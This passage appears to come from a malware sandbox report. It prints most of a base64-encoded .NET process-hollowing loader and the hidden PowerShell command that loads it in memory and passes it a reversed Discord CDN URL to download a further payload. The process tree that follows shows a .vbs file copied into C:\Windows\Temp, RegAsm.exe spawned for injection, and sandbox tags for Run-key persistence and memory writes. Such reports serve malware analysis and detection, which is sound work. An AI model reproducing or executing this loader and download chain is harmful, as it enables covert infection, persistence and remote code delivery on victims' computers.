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ABAAoADQACAA0ADwACAA4AEQACACMAEwCOBpsGCwASABkAIABFAE4AVQBkALYABAEhAKMKAQAAASMALgsBAAABJQApCwEAAAEnAEQLAQAAASkAPwsBAAABKwCmCwEAAAEtALgLAQAAAS8AUgcCAAABMQBpCwEAAAEzANoBAQAEgAAAAQAAAAAAAAAAAAAAAAA8AAAACgAAAAAAAAAAAAAAiQGYAQAAAAAEAAAAAAAAAAAAAACSAY8BAAAAAAQAAAAAAAAAAAAAAJIBqgYAAAAAAAAAAAEAAADOCQAACQAEAAoABAALAAgADAAIAAAAEAAUAEcBAAAQAEEARwEAAAAAQwBHASUAdwElAIQBAAAAQ29udGV4dFZhbHVlYDEAVGhyZWFkU2FmZU9iamVjdFByb3ZpZGVyYDEAUmVzZXJ2ZWQxAENsYXNzMQBDbGFzc0xpYnJhcnkxAFRvSW50MzIAY2JSZXNlcnZlZDIAVG9JbnQxNgA8TW9kdWxlPgBSZXN1bWVUaHJlYWRfQVBJAE50VW5tYXBWaWV3T2ZTZWN0aW9uX0FQSQBDcmVhdGVQcm9jZXNzX0FQSQBXb3c2NEdldFRocmVhZENvbnRleHRfQVBJAFdvdzY0U2V0VGhyZWFkQ29udGV4dF9BUEkAVmlydHVhbEFsbG9jRXhfQVBJAFJlYWRQcm9jZXNzTWVtb3J5X0FQSQBXcml0ZVByb2Nlc3NNZW1vcnlfQVBJAFNUQVJUVVBfSU5GT1JNQVRJT04AUFJPQ0VTU19JTkZPUk1BVElPTgBUAGR3WABkd1kARGlzcG9zZV9fSW5zdGFuY2VfXwBDcmVhdGVfX0luc3RhbmNlX18AU2l6ZV8AUHJvamVjdERhdGEAZGF0YQBtc2NvcmxpYgBNaWNyb3NvZnQuVmlzdWFsQmFzaWMAVGhyZWFkSWQAUHJvY2Vzc0lkAEdldFByb2Nlc3NCeUlkAGJ5dGVzUmVhZABSZXN1bWVUaHJlYWQAdGhyZWFkAFN5bmNocm9uaXplZABjbWQAQ3JlYXRlSW5zdGFuY2UAZ2V0X0dldEluc3RhbmNlAGRlZmF1bHRJbnN0YW5jZQBpbnN0YW5jZQBHZXRIYXNoQ29kZQBjb21wYXRpYmxlAFRocmVhZEhhbmRsZQBSdW50aW1lVHlwZUhhbmRsZQBHZXRUeXBlRnJvbUhhbmRsZQBQcm9jZXNzSGFuZGxlAGhhbmRsZQBUaXRsZQBhcHBsaWNhdGlvbk5hbWUAY29tbWFuZExpbmUAVmFsdWVUeXBlAEdldFR5cGUAdHlwZQBnZXRfQ3VsdHVyZQBzZXRfQ3VsdHVyZQByZXNvdXJjZUN1bHR1cmUAQXBwbGljYXRpb25CYXNlAEFwcGxpY2F0aW9uU2V0dGluZ3NCYXNlAEVkaXRvckJyb3dzYWJsZVN0YXRlAENvbXBpbGVyR2VuZXJhdGVkQXR0cmlidXRlAEd1aWRBdHRyaWJ1dGUASGVscEtleXdvcmRBdHRyaWJ1dGUAR2VuZXJhdGVkQ29kZUF0dHJpYnV0ZQBEZWJ1Z2dlck5vblVzZXJDb2RlQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUARWRpdG9yQnJvd3NhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBTdGFuZGFyZE1vZHVsZUF0dHJpYnV0ZQBIaWRlTW9kdWxlTmFtZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAZHdGaWxsQXR0cmlidXRlAERlYnVnZ2VySGlkZGVuQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAT2JmdXNjYXRpb25BdHRyaWJ1dGUATXlHcm91cENvbGxlY3Rpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBZYW5vQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBTdXBwcmVzc1VubWFuYWdlZENvZGVTZWN1cml0eUF0dHJpYnV0ZQBCeXRlAGdldF9WYWx1ZQBzZXRfVmFsdWUAR2V0T2JqZWN0VmFsdWUAZHdYU2l6ZQBkd1lTaXplAGdldF9TaXplAGJ1ZmZlclNpemUAU2l6ZU9mAFN5c3RlbS5SdW50aW1lLlZlcnNpb25pbmcAVG9TdHJpbmcAcGF0aABsZW5ndGgATWFyc2hhbABNaWNyb3NvZnQuVmlzdWFsQmFzaWMuTXlTZXJ2aWNlcy5JbnRlcm5hbABTeXN0ZW0uQ29tcG9uZW50TW9kZWwAQ2xhc3NMaWJyYXJ5MS5kbGwAa2VybmVsMzIuZGxsAG50ZGxsLmRsbABLaWxsAFN5c3RlbQByZXNvdXJjZU1hbgBCb29sZWFuAGJ5dGVzV3JpdHRlbgBTeXN0ZW0uQ29tcG9uZW50TW9kZWwuRGVzaWduAFZlcnNpb24AZ2V0X0FwcGxpY2F0aW9uAE15QXBwbGljYXRpb24AcHJvY2Vzc0luZm9ybWF0aW9uAFN5c3RlbS5Db25maWd1cmF0aW9uAFN5c3RlbS5HbG9iYWxpemF0aW9uAE50VW5tYXBWaWV3T2ZTZWN0aW9uAFN5c3RlbS5SZWZsZWN0aW9uAEV4Y2VwdGlvbgBIYW5kbGVSdW4AQ3VsdHVyZUluZm8Ac3RhcnR1cEluZm8AWmVybwBEZXNrdG9wAG1fQXBwT2JqZWN0UHJvdmlkZXIAbV9Vc2VyT2JqZWN0UHJvdmlkZXIAbV9Db21wdXRlck9iamVjdFByb3ZpZGVyAG1fTXlXZWJTZXJ2aWNlc09iamVjdFByb3ZpZGVyAEJ1ZmZlcgBidWZmZXIAZ2V0X1Jlc291cmNlTWFuYWdlcgBTeXN0ZW0uQ29kZURvbS5Db21waWxlcgBnZXRfVXNlcgBCaXRDb252ZXJ0ZXIAZ2V0X0NvbXB1dGVyAE15Q29tcHV0ZXIAU3RkRXJyb3IAQ2xlYXJQcm9qZWN0RXJyb3IAU2V0UHJvamVjdEVycm9yAEFjdGl2YXRvcgAuY3RvcgAuY2N0b3IASW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuRGV2aWNlcwBnZXRfV2ViU2VydmljZXMATXlXZWJTZXJ2aWNlcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuQXBwbGljYXRpb25TZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMATWljcm9zb2Z0LlZpc3VhbEJhc2ljLkNvbXBpbGVyU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBTeXN0ZW0uUmVzb3VyY2VzAENsYXNzTGlicmFyeTEuTXkuUmVzb3VyY2VzAENsYXNzTGlicmFyeTEuUmVzb3VyY2VzLnJlc291cmNlcwBEZWJ1Z2dpbmdNb2RlcwBpbmhlcml0SGFuZGxlcwB0aHJlYWRBdHRyaWJ1dGVzAHByb2Nlc3NBdHRyaWJ1dGVzAEdldEJ5dGVzAGNyZWF0aW9uRmxhZ3MAZHdGbGFncwBnZXRfU2V0dGluZ3MATXlTZXR0aW5ncwBSZWZlcmVuY2VFcXVhbHMAZHdYQ291bnRDaGFycwBkd1lDb3VudENoYXJzAFJ1bnRpbWVIZWxwZXJzAENyZWF0ZVByb2Nlc3MAcHJvY2VzcwBiYXNlQWRkcmVzcwBhZGRyZXNzAENvbmNhdABGb3JtYXQAT2JqZWN0AE15UHJvamVjdABwcm90ZWN0AGdldF9EZWZhdWx0AGVudmlyb25tZW50AFN0ZElucHV0AFN0ZE91dHB1dABtX0NvbnRleHQAV293NjRHZXRUaHJlYWRDb250ZXh0AFdvdzY0U2V0VGhyZWFkQ29udGV4dABjb250ZXh0AHdTaG93V2luZG93AFZpcnR1YWxBbGxvY0V4AENsYXNzTGlicmFyeTEuTXkAQXJyYXkAZ2V0X0Fzc2VtYmx5AEJsb2NrQ29weQBSZWFkUHJvY2Vzc01lbW9yeQBXcml0ZVByb2Nlc3NNZW1vcnkAY3VycmVudERpcmVjdG9yeQBTeXN0ZW0uU2VjdXJpdHkASXNOdWxsT3JFbXB0eQBNeVNldHRpbmdzUHJvcGVydHkAAAAAAC9DAGwAYQBzAHMATABpAGIAcgBhAHIAeQAxAC4AUgBlAHMAbwB1AHIAYwBlAHMAAAsiAHsAMAB9ACIAAAMgAAAAAAAXcD7ydsIcRpthSuvAB90GAAMgAAEFIAEBERUGFRIoARIMBhUSKAESCAYVEigBEh0GFRIoARIkBCAAEwAEAAEcHAQgAQIcAyAACAYAARItETEDIAAOAh4ABRABAB4ABhUSOQETAAYVEigBEwAHBhUSOQETAAITAAUgAQETAAUAAgIcHAQgABJFBiACAQ4SRQYAARJNEk0CBg4FAAIODhwFAAEIEi0EAAECDgYAAw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';[Byte[]] $fuUN = [System.Convert]::FromBase64String( $LHgK.replace('㈧㊢ς','A') );[System.AppDomain]::CurrentDomain.Load($fuUN).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('txt.jn9050/7940435496145656211/0475049450369903111/stnemhcatta/moc.ppadrocsid.ndc//:sptth'))"
        3⤵
        • Blocklisted process makes network request
        • Adds Run key to start application
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1920
        • C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\Windows\Temp\Debug.vbs
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4036
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
            PID:1060
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            4⤵
              PID:5040
